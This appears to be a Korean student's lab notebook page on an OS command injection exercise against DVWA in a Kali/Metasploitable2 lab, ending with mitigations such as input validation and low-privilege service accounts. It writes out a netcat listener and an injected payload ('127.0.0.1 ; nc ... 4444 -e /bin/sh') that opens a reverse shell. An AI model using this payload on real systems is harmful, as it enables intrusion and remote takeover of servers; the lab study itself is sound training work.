
커멘드 인젝션 실습 
2026년 6월 26일 금요일  오후 2:07 

준비물 : 칼리리눅스와 dvwa 

 

 

Dvwa서버를 켜줌. 

 

 

 

 

 

 

 

칼리리눅스도 켜줌 

 

 

 

 

 

칼리리눅스에서 dvwa웹페이지 열어줌. 
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서큐리티항목에서 보안레벨 낮춰주어야 함. 

 

 

커멘트 익스큐선 항목 선택 

 

이러면 이제 모든 준비완료 

 

 

 

실습 개요 (Overview) 
• 실습 명칭: DVWA 환경을 이용한 OS Command Injection 및 Reverse Shell 공격 시연 

• 실습 목적: 웹 애플리케이션의 입력값 검증 부재가 시스템 전체(OS)에 미치는 치명적인 영향을

이해하고, 레드팀의 초기 침투(Initial Access) 메커니즘을 파악한다. 

• 실습 환경: 

• 공격자(Attacker): Kali Linux (가상머신) / Netcat 도구 및 브라우저 사용 

• 대상 서버(Target): Metasploitable2 (가상머신) / DVWA(Security Level: Low) 웹 애플리케이션 

 

 

 

 

 

 

 

칼리리눅스 (공격자의 os)의 터미널화면에서  4444번 포트를 열어줌으로서 리버스쉘을 대기시

킴. ---> 해킹명령어를 보내서 받을 결과값을 받을 통로를 열어주는 행위 

 

리버스쉘이란?  

 

리버스 쉘(Reverse Shell)은 직역하면 '역방향 터미널 연결'이라는 뜻 

 

방화벽을 우회하기 위해 해커들이 머리를 굴려 만든 역발상 기법 

 

공격자가 먼저 문(nc -lvnp 4444)을 열고 대기함. 그다음 웹 취약점(커맨드 인젝션 등)을 이용

해 서버에게 "야, 네가 나한테 전화 걸어서 네 터미널(sh) 권한 좀 넘겨줘"라고 명령을 내리는

것 
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사용이유 : 외부에서 서버로 가는 길은 방화벽이 막고있기 때문에  웹취약점을 이용해서 거꾸로

서버내부에서 공격자의 서버로 터미널 제어권을 보내게 ㅎㅏ기위해 

 

 

 

 

127.0.0.1 ; nc 172.16.20.210 4444 -e /bin/sh 

 
명령어의 구조는 127.0.0.1로 핑을 보내라는 더미 명령어를 던지고 ;을 이용해서 뒤의 명령도 실

행시켜라 즉 ; 뒤의 명령어가 해킹명령의 본질 

 

내용:  

 

nc 172.16.20.210 4444 = 타깃 서버에게 해당 주소의 포트로 접속하라는 명령 

 

-e /bin/sh = 넷캣(nc)의 가장 강력한 옵션이 execute(실행)옵션인 -e 

내용은 /bin/sh를 강제로 실행시켜라 

 

 

명령어의 의미는 취약한 웹사이트에 시스템 명령어를 주입해서, 타깃 서버가 공격자에게 거꾸

로 접속시켜 터미널 제어권을 통째로 넘겨주게 만드는 명령어 

 

 

 

 

넷캣의 개념 잠깐잡기 

 

nc가 왜 '해킹/보안'에서 사기적인 툴일까? 

원래는 두 컴퓨터 간에 네트워크가 잘 통하는지 테스트하거나, 가볍게 채팅을 하거나, 파일을

전송하는 용도의 순수한 네트워크 관리용 도구였습니다. 

하지만 앞선 실습에서 본 -e (Execute) 옵션 같은 강력한 기능 때문에 레드팀과 해커들의 필수

무기가 되었습니다. 

"-e 옵션: 네트워크 연결이 성공하면 뒤에 적힌 프로그램을 실행해라." 

이 옵션 하나 때문에, 단순한 네트워크 통신 툴이었던 nc가 "연결되는 순간 내 컴퓨터의 터미널

(/bin/sh)을 켜서 랜선 너머로 제어권을 통째로 던져주는 원격 제어 조종기(Backdoor)"로 돌변

하는 것입니다. 

 

 

 

 

명령어 실행시 웹페이지에 뜨는 화면 그냥 핑만 날리는 더미화면 

 

26. 6. 26. 오후 4:46 OneNote

https://onedrive.live.com/personal/fecbafe6825e7a8d/_layouts/15/Doc.aspx?sourcedoc={198d26e6-215f-4e1a-a139-fbccf5b5935e}&action=edit&… 3/5



 

공격자의 터미널에서는 연결되었다는 메세지 확인 시나리오 성공 

 

시나리오를 통해 확인할 수 있는 취약점은 크게 3가지 분류로 

 

  1.  입력값에 대한 검증 불충분 

 

2. 서버내부에서 시스템명령어를 직접 호출하는 함수를 되도록 쓰지 않는것 

3. 해킹당해서 리버스 쉘이 작동하더라도 해커의 동작을 제한할수 있도록 서비스를 구동할

때에 권한이 적은 계정으로 실행시켜 제어권이 넘어가더라도 권한을 최소화하거나 격리

시키는것 

 

 

 

 

3번의 예시 

 

터미널의 제어권을 가져온 상태에서 whoami를 쳤을때에 root가 아닌 www-data라는 제한된

계정인것을 확인 ---> 해킹을 당하더라도 권한이 제한되어있는 계정이므로 최악의 수는 예방. 
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